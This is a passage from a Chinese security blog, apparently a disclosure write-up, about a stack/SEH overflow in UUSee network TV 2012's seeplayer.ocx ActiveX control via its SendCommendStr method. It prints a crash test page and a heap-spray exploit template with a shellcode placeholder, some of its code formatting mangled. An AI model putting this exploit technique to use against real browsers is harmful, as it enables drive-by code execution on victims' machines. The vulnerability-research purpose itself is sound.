探索黑客技术攻防,实战研究与安全创新

导航菜单

惊爆UUSee网络电视2012远程溢出漏洞

在国内网络视频软件市场,UUSee的名气还是比较大的,相信很多人都用过。对于研究软件安全的朋友来说,UUSee也是一个最容易出问题的软件,记得UUSee2008版本出现过多个安全漏洞,有拒绝服务的、有远程溢出的、有远程实现木马下载执行的。这其中最有名的利用UUSee的Update功能实现远程下载并执行木马的安全漏洞,不知道被多少人拿来作为网页木马使用。2010年我也在黑防上发表过UUSee的一个远程溢出漏洞,出问题的文件是其UUPlayer.ocx控件中的DoCmd接口。最近在工作之余,发现UUSee又推出了网络电视软件,于是从UUSee的官方网站上下载了该程序的最新版本,打算做一次安全测试,结果发现以往的安全漏洞都已修补,但是新的安全漏洞还是被挖掘出来了。

本次的测试环境是WindowsXPSP3,浏览器为IE6。被测试的UUSee网络电视具体版本号为UUSee20127.12.830.1,如图1所示。

001.png

安装好UUSee网络电视,使用ComRaider扫描当前系统中新加入的ActiveX控件,发现UUSee网络电视向系统添加了多个新的ActiveX控件,这里研究的是seeplayer.ocx。我们看看seeplayer.ocx的具体信息,如图2所示。

002.png

从图中我们可以看到,seeplayer.ocx文件开发时间是2011年10月27日,数字证书显示了文件建立时间。利用ComRaider打开seeplayer.ocx文件,会看到该文件提供的全部外部接口,如图3所示。

003.png

seeplayer.ocx文件提供了大量的外部接口,这是一个很好的消息,我们可以对这些外部接口一一进行安全测试。测试方法非常简单,建立一个HTML文件就可以进行。这里我们首先测试的外部接口是“SendCommendStr”,其函数原型为:SubSendCommendStr(ByVal

commendstr

AsString)。测试网页代码为:


objectclassid=clsid:EAB7A1CC-C77B-45E5-9AC2-AD037D047BCCname=evil/object
script
vara=Array(5000);
document.write(evil.SendCommendStr(a));
/script


保存上述测试代码为test.htm,将其放置在本机建立的Web服务器的目录下,运行IE6,输入test.htm文件所在的网址,回车会发现IE6崩溃了。用OllyDbg程序来调试IE6,再次访问test.htm文件所在的网址,这一次OllyDbg程序监测到IE6发生崩溃的真正原因,如图4所示。

004.png

OllyDbg程序显示此刻IE6执行到内存地址为2C2C2C2C的时候,由于该内存地址不存在,导致IE6无法继续运行而发生崩溃。这里“2C”是符号“,”的ASCII码。在test.htm网页文件中,有一句代码“vara=Array(5000)”,该代码的意思就是将a这个变量赋值为5000个“,”组成的字符串。这是由于这个超长字符串组成的变量a造成了IE6在调用seeplayer.ocx文件的SendCommendStr外部接口时发生了溢出,最终覆盖了某个关键内存地址。不过幸运的是,IE6最后出错的这个地址是可以被我们的代码所控制的,也就是a变量的具体内容可以控制,能够直接覆盖SEH。利用经典的heapspray技术,就能够成功实现控制IE6在漏洞发生时执行任意代码,一个能够被改写为网页木马的远程溢出漏洞就这样被我们发现了。基本测试代码如下所示:


objectclassid=clsid:EAB7A1CC-C77B-45E5-9AC2-AD037D047BCCname=evil/object
script
varheapSprayToAddress=0x0c0c0c0c;
varshellcode=unescape(shellcode);
varheapBlockSize=0x400000;
varpayLoadSize=shellcode.length*2;
varspraySlideSize=heapBlockSize-(payLoadSize+0x38);
varspraySlide=unescape(%u0505%uebdf%uebdf);
spraySlide=getSpraySlide(spraySlide,spraySlideSize);
heapBlocks=(heapSprayToAddress-0x400000)/heapBlockSize;
memory=newArray();
for(i=0;iheapBlocks;i++)
{
memory[i]=spraySlide+shellcode;
}
vara=d;
vari=0;
while(i3000)
{
a=a+0x2c;//这里设置溢出覆盖地址为0x2c2c2c2c
i=i+1;
}
document.write(evil.SendCommendStr(a));
functiongetSpraySlide(spraySlide,spraySlideSize)
{
while(spraySlide.length*2spraySlideSize)
{
spraySlide+=spraySlide;
}
spraySlide=spraySlide.substring(0,spraySlideSize/2);
returnspraySlide;
}
/script


除去上面这个安全漏洞,在测试中,发现UUSee网络电视还存在很多安全问题,这里就不再一一叙述了。

本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。

相关推荐